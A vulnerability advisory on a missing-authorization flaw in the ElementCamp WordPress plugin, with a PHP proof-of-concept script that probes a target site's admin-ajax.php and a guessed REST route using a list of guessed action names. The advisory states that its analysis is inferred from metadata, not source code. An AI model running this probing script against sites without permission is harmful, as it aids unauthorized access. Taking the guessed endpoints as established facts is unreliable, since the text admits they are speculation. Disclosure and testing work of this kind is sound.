Atomic Edge analysis of CVE-2026-24556 (metadata-based):
This vulnerability is a Missing Authorization flaw in the ElementCamp WordPress plugin versions up to and including 2.3.2. The vulnerability allows unauthenticated attackers to perform unauthorized actions by directly accessing a plugin function that lacks proper capability checks. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack requiring no privileges or user interaction, resulting in integrity impact with no confidentiality or availability loss.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook or AJAX handler. The CWE-862 classification confirms the plugin fails to verify a user’s authorization before executing a privileged function. Without source code, this conclusion is inferred from the CWE pattern and WordPress plugin architecture. The vulnerability likely involves a function registered via `add_action()` or `add_ajax_action()` that processes requests without calling `current_user_can()` or similar authorization functions.
Exploitation requires identifying the vulnerable endpoint. WordPress plugin patterns suggest the attack vector is either an AJAX handler at `/wp-admin/admin-ajax.php` with an `action` parameter containing a plugin-specific hook, or a REST API endpoint at `/wp-json/elementcamp/`. Attackers would send HTTP POST requests with parameters that trigger the unauthorized action. The exact action name is unknown without code, but typical patterns include `elementcamp_` or `ec_` prefixes followed by function names like `save_settings`, `import_data`, or `execute_action`.
Remediation requires adding proper capability checks before executing sensitive operations. The patched version 2.3.6 likely added `current_user_can()` checks with appropriate capabilities like `manage_options` or plugin-specific capability names. Nonce verification may also have been added, though the primary fix addresses authorization. WordPress security best practices dictate verifying both capability and nonce for state-changing operations.
The impact is unauthorized modification of plugin functionality or WordPress data. While confidentiality and availability remain unaffected (C:N/A:N), integrity impact (I:L) allows attackers to alter plugin settings, inject content, or perform actions reserved for authenticated users. Specific consequences depend on the vulnerable function’s purpose, which could range from configuration changes to data manipulation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24556 - ElementCamp <= 2.3.2 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24556
* This script attempts to exploit the missing authorization vulnerability
* by sending requests to likely vulnerable endpoints.
* Without exact code, this PoC tests common WordPress plugin patterns.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
// Common AJAX action patterns for ElementCamp plugin
$possible_actions = [
'elementcamp_action',
'ec_action',
'element_camp_action',
'elementcamp_save',
'ec_save',
'elementcamp_import',
'ec_import',
'elementcamp_execute',
'ec_execute'
];
// Test each possible action
foreach ($possible_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = ['action' => $action, 'test' => 'atomic_edge_poc'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: " . substr($response, 0, 200) . "nn";
curl_close($ch);
}
// Also test REST API endpoint if AJAX fails
$rest_url = $target_url . '/wp-json/elementcamp/v1/action';
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['test' => 'atomic_edge_poc']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing REST endpoint: {$rest_url}n";
echo "HTTP Code: {$http_code}n";
echo "Response: " . substr($response, 0, 200) . "n";
?>
